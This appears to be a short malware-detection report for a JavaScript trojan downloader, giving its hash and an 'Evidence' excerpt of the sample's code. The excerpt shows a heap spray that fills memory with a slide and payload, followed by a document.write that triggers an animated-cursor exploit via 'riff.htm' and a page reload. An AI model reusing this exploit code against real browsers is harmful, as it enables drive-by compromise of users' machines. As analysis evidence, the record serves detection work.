Trojan-Downloader.JS.Agent.eg
Writes HTML into document
SHA-256c3244d3764faeeea0772a25c575bba29409c8f723c9eefa00e7614a2f98c36e3
MaleculeH(U)
Evidence
33:10… ;i<heapBlocks;i++)
34 {
35 memory[i] = spraySlide + payLoadCode;
36 }
37
38 document.write("<HTML><BODY style=\"CURSOR: url('riff.htm')\"> </BODY></HTML>")
39 wait(500)
40 window.location.reload()
41
42 function getSpray …